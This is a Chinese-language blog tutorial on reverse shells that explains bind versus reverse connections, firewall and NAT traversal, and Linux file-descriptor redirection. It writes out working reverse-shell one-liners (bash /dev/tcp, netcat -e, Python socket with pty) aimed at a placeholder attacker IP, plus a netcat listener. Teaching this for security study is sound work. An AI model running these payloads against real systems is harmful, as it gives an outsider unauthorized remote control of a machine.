三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

反弹shell详解

反弹shell详解

反弹 Shell (Reverse Shell) 详解

反弹 Shell (Reverse Shell)是网络安全和渗透测试中非常核心的一个概念。简单来说,它是一种由目标主机主动连接攻击者主机的远程控制方式。

一、 为什么需要“反弹”?

要理解为什么需要“反弹”,我们先要对比一下传统的“正向连接”。

  • 正向连接 (Bind Shell):攻击者主动发起连接,去连目标主机的某个端口(比如常见的 SSH 登录)。
    • 痛点:现实网络中,目标主机通常位于局域网内(没有公网 IP,隔着 NAT),或者配置了严格的防火墙(默认拦截所有外部主动发起的入站流量)。在这种情况下,攻击者根本连不进去。
  • 反向连接 (Reverse Shell):攻击者在自己的机器上开放并监听一个端口,然后诱使目标主机主动发起连接,连回攻击者的机器。
    • 优势:防火墙通常对出站流量(即从内网向外网发起的请求,比如员工上网浏览网页)管控较松,甚至完全放行。反弹 Shell 就是利用了这种“内鬼主动开门”的机制,轻松穿透防火墙和 NAT 设备的限制。

二、 反弹 Shell 的工作机制

实现一个完整的反弹 Shell 通道,通常分为两步:

  1. 攻击端(控制端):开启监听,等待猎物上门。安全人员通常使用 Netcat (nc) 等工具监听本地端口。

    nc-lvp4444
  2. 目标端(被控端):触发并执行一段恶意代码(Payload)。这段代码在后台默默做三件事:

    • 向外发起 TCP 连接,连向攻击者的 IP 和 4444 端口。
    • 调用系统自带的命令行解释器(如 Linux 的bash或 Windows 的cmd.exe)。
    • 核心动作:将命令行的标准输入 (stdin)标准输出 (stdout)标准错误 (stderr),全部重定向绑定到刚才建立的 TCP 网络连接上。

这样一来,攻击者在自己屏幕上敲下的命令,会通过网络传给目标主机执行;目标主机执行完毕后的结果,也会顺着网线原路传回攻击者的屏幕。

三、 经典代码解析 (以 Bash 为例)

在 Linux 环境下,最经典的一句话反弹 Shell 代码如下:

bash-i>&/dev/tcp/攻击者IP/44440>&1
  • bash -i:启动一个交互式的 (interactive) Bash Shell。
  • /dev/tcp/IP/PORT:这是 Bash 特有的功能,向这个特殊路径写入数据,Bash 就会在底层发起一个真实的 TCP 网络连接。
  • >&:将 Bash 的标准输出 (1) 和标准错误 (2) 全部打入这个 TCP 连接中(这意味着目标主机上命令执行的输出结果,都会发送给攻击者)。
  • 0>&1:将标准输入 (0) 重定向到标准输出 (1),而此时标准输出已经指向了网络连接。这就意味着,Bash 开始从网络中读取攻击者发来的命令。

四、 Linux I/O 机制详解:标准输入、标准输出与标准错误

我们在上一个反弹 Shell 的话题中提到了0>&1这种神奇的符号,那刚好可以借此把 Linux 和 Unix 系统中最核心的输入/输出 (I/O) 机制彻底拆解一下。

在 Linux 世界里有一句名言:“一切皆文件”。键盘是文件,屏幕是文件,甚至网络连接也是文件。当你在系统中启动任何一个程序时,操作系统会默认帮这个程序打开三个“文件”,并给它们分配了固定的编号,这个编号叫做文件描述符 (File Descriptor, 简称 FD)

系统为这三个通道分配了固定的编号012,它们各自有明确的分工:

名称文件描述符 (FD)缩写默认连接的设备作用
标准输入0stdin键盘程序读取外界数据的来源
标准输出1stdout屏幕 (当前终端)程序正常运行后打印结果的地方
标准错误2stderr屏幕 (当前终端)程序发生报错时,打印异常信息的地方

1. 重定向 (Redirection):改变数据的流向

“标准”之所以叫标准,是因为它是默认配置。但 Linux 提供了强大的重定向符 (><),允许我们像接水管一样,随意拔插这三个通道,改变数据的流向。

(1) 输出重定向:>>>(修改 1 的流向)

当你不想让程序的结果打印在屏幕上,而是想存进文件里时:

  • ls > files.txt:把ls命令的标准输出 (1)重定向到files.txt中(覆盖原内容)。
  • echo "hello" >> files.txt:把输出追加到文件末尾。
(2) 输入重定向:<(修改 0 的流向)

当你不想用键盘敲字,而是想让程序直接读取文件的内容时:

  • sort < names.txt:把names.txt里的内容灌进标准输入 (0),让sort命令进行排序。
(3) 错误重定向:2>(修改 2 的流向)

有时候程序会产生一堆烦人的报错(比如权限不足),你不想看它们:

  • find / -name "secret" 2> errors.log:正确的查找结果(标准输出 1)依然打印在屏幕上,但所有的报错(标准错误 2)都被悄悄塞进了errors.log里。

2. 符号>&的魔法

在 Bash 的语法中,重定向符号有着细微但至关重要的区别:

  • 只写>(等同于1>):确实如你所想,重定向标准输出 (1)。如果你用的是这个符号,那报错信息 (2) 依然会打印在目标主机的屏幕上,攻击者是看不到的。
  • 写成>&&>这是 Bash 特有的一种语法糖(简写形式)。它的明确含义是:将标准输出 (1) 和标准错误 (2) 合并,同时重定向到指定的目标。

因此,当执行>& /dev/tcp/攻击者IP/4444时,Bash 在底层就已经把“成品出货口 (1)”和“警报排出口 (2)”全部插到这根 TCP 网线上了。

五、 其他常见环境的反弹方式

几乎所有具备网络编程能力的语言或工具,都能被用来构造反弹 Shell,以适应目标主机上不同的运行环境:

1. Netcat (如果目标机带有-e参数)

nc-e/bin/bash 攻击者IP4444

2. Python (常用于目标机预装了 Python 环境时)

python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
← 返回列表